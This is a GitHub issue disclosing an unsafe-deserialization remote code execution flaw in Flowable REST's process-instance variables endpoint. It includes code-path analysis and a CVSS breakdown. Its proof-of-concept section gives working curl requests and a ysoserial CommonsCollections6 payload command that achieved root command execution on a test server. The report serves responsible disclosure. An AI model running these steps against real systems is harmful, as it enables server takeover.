Skip to content

[SECURITY] Deserialization RCE via PUT /runtime/process-instances/{processInstanceId}/variables (multipart) with type=serializable (CWE-502, CVSS 8.8) #4288

Open

Description

@Jiecub3

Security Vulnerability Report -- CWE-502

Summary

The PUT /runtime/process-instances/{processInstanceId}/variables endpoint, when receiving multipart/form-data requests, if the variable type is specified as serializable, directly uses java.io.ObjectInputStream.readObject() without any class filtering to deserialize uploaded file content, leading to remote code execution. The rest.variables.allow.serializable configuration defaults to true, and any authenticated user with access-rest-api privilege can trigger the vulnerability.

Vulnerability Description

Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0


Static Analysis Report

Vulnerability Overview

The PUT /runtime/process-instances/{processInstanceId}/variables endpoint (ProcessInstanceVariableCollectionResource.createOrUpdateExecutionVariable) supports uploading process variables via multipart/form-data. When the request's type parameter is serializable, the base class BaseExecutionVariableResource.setBinaryVariable uses raw java.io.ObjectInputStream(file.getInputStream()).readObject() to deserialize uploaded file content, with no whitelist/blacklist filtering on deserialized classes throughout the entire process (no ValidatingObjectInputStream used, no resolveClass override). The rest.variables.allow.serializable configuration property defaults to true, meaning this dangerous path is open under default deployment. Any user who has passed HTTP Basic Auth and holds access-rest-api privilege can upload malicious serialized objects (e.g., using commons-collections, Spring, JDK gadget chains) to trigger remote code execution.

Exploitation Prerequisites

Condition Description
Authentication Requires HTTP Basic Auth, and user must have access-rest-api privilege (default isVerifyRestApiPrivilege()=true, i.e., verify-privilege mode)
Network Reachability Intranet/public network, as long as the flowable-rest HTTP port is accessible
Configuration Dependency rest.variables.allow.serializable defaults to true, triggerable without additional configuration; classpath needs exploitable deserialization gadgets (Flowable default dependencies include Spring, JDK, commons-io, etc., common gadgets are all available)
Business Prerequisites Must know a valid processInstanceId (can be listed via GET /runtime/process-instances, or obtained by starting a process)
Other Prerequisites None

Trigger Location

repo/modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:162-167

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();

Entry: ProcessInstanceVariableCollectionResource.java:91-96

@PutMapping(value = "/runtime/process-instances/{processInstanceId}/variables", produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public Object createOrUpdateExecutionVariable(@PathVariable String processInstanceId, HttpServletRequest request, HttpServletResponse response) {
    Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
    return createExecutionVariable(execution, true, false, request, response);
}

Data Flow Overview

  • Chain 1 (multipart + type=serializable, reaches sink):
    1. Entry ProcessInstanceVariableCollectionResource.createOrUpdateExecutionVariable (file:91-96) receives multipart request
    2. Passes HttpServletRequest to BaseVariableCollectionResource.createExecutionVariable (file:83-86)
    3. instanceof MultipartHttpServletRequest evaluates true, calls setBinaryVariable (file:86)
    4. setBinaryVariable parses type parameter (file:128-133), if serializable and isSerializableVariableAllowed=true (default), enters deserialization branch (file:162)
    5. new ObjectInputStream(file.getInputStream()).readObject() (file:164-165) triggers sink, no class filtering
  • Chain 2 (application/json body): Goes through JSON parsing path (file:93-102), does not enter ObjectInputStream, does not trigger sink
  • Chain 3 (multipart + type=binary): Goes through IOUtils.toByteArray path (file:157-160), does not trigger sink
  • Chain 4 (multipart + type=serializable but rest.variables.allow.serializable=false): Blocked, throws FlowableContentNotSupportedException (file:169-170), but under default config this is not blocked

Data Flow Detailed Code Analysis

Chain 1: multipart + serializable (Reachable RCE Sink)

Layer 1 — Entry ProcessInstanceVariableCollectionResource.createOrUpdateExecutionVariable

  • file: ProcessInstanceVariableCollectionResource.java:91-96
  • External input: HTTP PUT request (multipart/form-data), path parameter processInstanceId
  • Operation: Only queries Execution via getExecutionFromRequestWithoutAccessCheck(processInstanceId) (file:332-339), no permission check; then passes HttpServletRequest as-is to base class method
  • Data flow: request parameter passed to createExecutionVariable(execution, true, false, request, response)
@PutMapping(value = "/runtime/process-instances/{processInstanceId}/variables", produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public Object createOrUpdateExecutionVariable(@ApiParam(name = "processInstanceId") @PathVariable String processInstanceId, HttpServletRequest request, HttpServletResponse response) {
    Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
    return createExecutionVariable(execution, true, false, request, response);
}

Layer 2 — Dispatch BaseVariableCollectionResource.createExecutionVariable

  • file: BaseVariableCollectionResource.java:83-87
  • External input: HttpServletRequest request
  • Operation: Routes based on request instanceof MultipartHttpServletRequest; multipart branch calls setBinaryVariable
  • Data flow: request cast to MultipartHttpServletRequest then passed to setBinaryVariable
protected Object createExecutionVariable(Execution execution, boolean override, boolean async, HttpServletRequest request, HttpServletResponse response) {
    Object result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async);
    } else {

Layer 3 — Parse multipart parameters BaseExecutionVariableResource.setBinaryVariable

  • file: BaseExecutionVariableResource.java:102-136
  • External input: file field in multipart request (malicious serialized object) + form parameters name/type/scope
  • Operation: Gets type from request.getParameterMap(), defaults to binary if not provided; if explicitly set to type=serializable, enters dangerous branch
  • Data flow: file.getInputStream() directly passed to ObjectInputStream constructor
MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
...
for (String parameterName : paramMap.keySet()) {
    if (paramMap.get(parameterName).length > 0) {
        if ("scope".equalsIgnoreCase(parameterName)) { variableScope = paramMap.get(parameterName)[0]; }
        else if ("name".equalsIgnoreCase(parameterName)) { variableName = paramMap.get(parameterName)[0]; }
        else if ("type".equalsIgnoreCase(parameterName)) { variableType = paramMap.get(parameterName)[0]; }
    }
}

Layer 4 — Sink ObjectInputStream.readObject()

  • file: BaseExecutionVariableResource.java:162-167
  • External input: multipart uploaded file byte stream
  • Operation: Directly new ObjectInputStream(file.getInputStream()).readObject(), no resolveClass override, no ValidatingObjectInputStream, no ObjectInputFilter
  • Data flow: Deserialized Object written to process engine via setVariable, but code execution has already completed during readObject()
} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();
}

Layer 5 — Configuration switch default allows

  • file: BaseExecutionVariableResource.java:68-71
  • isSerializableVariableAllowed initialized from env.getProperty("rest.variables.allow.serializable", Boolean.class, true), default value is true, meaning the dangerous branch is enabled by default
@Override
public void afterPropertiesSet() {
    isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
}

CVSS Breakdown

Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Vector Value Reason
Attack Vector N (Network) Accessed remotely via HTTP REST interface, no local privileges needed
Attack Complexity L (Low) Only need to construct a multipart request and specify type=serializable, no special conditions or races
Privileges Required L (Low) Requires authenticated user with access-rest-api privilege, but this is default for regular REST users, no admin needed
User Interaction N (None) Server auto-deserializes, no user interaction required
Scope U (Unchanged) Attacked component (Flowable REST app) itself affected, no cross-domain
Confidentiality H (High) RCE can read arbitrary sensitive data, database credentials, process instance data
Integrity H (High) Can tamper with process variables, deploy new processes, modify database
Availability H (High) Can kill JVM, delete data, cause denial of service

Overall score: 8.8 (High)


PoC Verification Report

Flowable REST Process Instance Variables Deserialization RCE

Vulnerability Summary

  1. Vulnerability Name: Flowable REST multipart upload serializable variable unsafe deserialization RCE
  2. Affected Component/Port: flowable-rest module ProcessInstanceVariableCollectionResource, HTTP REST port 8080
  3. Vulnerability Description: The PUT /runtime/process-instances/{processInstanceId}/variables endpoint, when receiving multipart/form-data requests with type=serializable, directly uses raw ObjectInputStream.readObject() to deserialize uploaded file content without any class filtering, can trigger RCE
  4. Root Cause Code Snippet:
// BaseExecutionVariableResource.java:162-167
} else if (isSerializableVariableAllowed) {
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // <-- no class filtering
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();
}
  1. Brief Data Flow:
HTTP PUT multipart (file=ysoserial CommonsCollections6 payload, name=exploitVar, type=serializable)
  ↓
ProcessInstanceVariableCollectionResource.createOrUpdateExecutionVariable (ProcessInstanceVariableCollectionResource.java:91-96)
  ↓
BaseVariableCollectionResource.createExecutionVariable (BaseVariableCollectionResource.java:83-86)
  instanceof MultipartHttpServletRequest == true → setBinaryVariable()
  ↓
BaseExecutionVariableResource.setBinaryVariable (BaseExecutionVariableResource.java:102-136)
  Parse type="serializable", isSerializableVariableAllowed=true (default)
  ↓
new ObjectInputStream(file.getInputStream()).readObject() (BaseExecutionVariableResource.java:164-165)
  ↓
JVM deserializes malicious bytecode → CommonsCollections6 gadget chain triggers Runtime.exec() → RCE

Exploitation Conditions

Condition Description
Authentication Requires HTTP Basic Auth + access-rest-api privilege (regular REST user has this under default verify-privilege mode)
Network Reachability Intranet/public network, accessible flowable-rest HTTP port
Configuration Dependency rest.variables.allow.serializable defaults to true, no additional enablement needed; commons-collections:3.x exists on classpath
Other Prerequisites Need to know a valid processInstanceId (can be listed via GET /runtime/process-instances)

Exploitation Chain Progress

Chain Stage Location (file:line) Status Evidence / Description
Entry PUT request ProcessInstanceVariableCollectionResource.java:91 Reachable consumes includes multipart/form-data, HTTP 200
Multipart dispatch BaseVariableCollectionResource.java:85-86 Reached instanceof MultipartHttpServletRequest is true, calls setBinaryVariable
Type parsing BaseExecutionVariableResource.java:131-133 Reached form field type="serializable" correctly parsed
Config switch BaseExecutionVariableResource.java:70 Default allows rest.variables.allow.serializable defaults true, no FlowableContentNotSupportedException thrown
Sink readObject BaseExecutionVariableResource.java:164-165 Triggered Raw ObjectInputStream.readObject() executes gadget chain, touch command creates file
Conclusion — Full Chain Closed, RCE Successful Created file /tmp/pwned-entry-0624-rce-1785846503 as root on target server

Exploitation Verification

Target environment: Flowable REST 7.1.0 on Apache Tomcat 10.1.31, Java 17, H2 in-memory database, credentials rest-admin:test, target process running as root.

Step 1: Obtain valid processInstanceId

curl -s -u rest-admin:test http://localhost:8080/flowable-rest/service/runtime/process-instances | python3 -c "import sys,json; print(json.load(sys.stdin)['data'][0]['id'])"

Return: 0dd2629d-8fff-11f1-a444-02423661ba3a

Step 2: Generate ysoserial CommonsCollections6 RCE payload

java --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     --add-opens java.management/javax.management=ALL-UNNAMED \
     --add-opens java.base/java.io=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections6 \
     "touch /tmp/pwned-entry-0624-rce-1785846503" > payload-cc6.bin

Generated 1.3K malicious serialized file.

Step 3: Send payload via multipart/form-data PUT request

curl -s -u rest-admin:test \
  -X PUT \
  -F "file=@payload-cc6.bin" \
  -F "name=exploitVar" \
  -F "type=serializable" \
  "http://localhost:8080/flowable-rest/service/runtime/process-instances/0dd2629d-8fff-11f1-a444-02423661ba3a/variables"

Actual execution result: HTTP 201 Created, returned:

{"name":"exploitVar","type":"serializable","value":null,"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/process-instances/0dd2629d-8fff-11f1-a444-02423661ba3a/variables/exploitVar/data","scope":"local"}

Step 4: Verify RCE effect — file created on target server

ls -la /tmp/pwned-entry-0624-rce-1785846503

Actual execution result:

-rw-r----- 1 root root 0 Aug  4 12:28 /tmp/pwned-entry-0624-rce-1785846503

File owner is root (consistent with Tomcat process), proving arbitrary command execution succeeded with root privileges.

Supplementary verification: Using CommonsCollections7 gadget chain also successfully created /tmp/pwned-cc7-0624, proving multiple gadget chains are exploitable.

Conclusion: An attacker only needs regular REST user credentials (rest-admin:test), by constructing a malicious serialized object and uploading it via multipart/form-data to the PUT /runtime/process-instances/{id}/variables endpoint with type=serializable, can execute arbitrary system commands on the target JVM with application process privileges. The vulnerability is exploitable under default configuration without any additional configuration.

Severity

CVSS v3.1: 8.8 (High)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions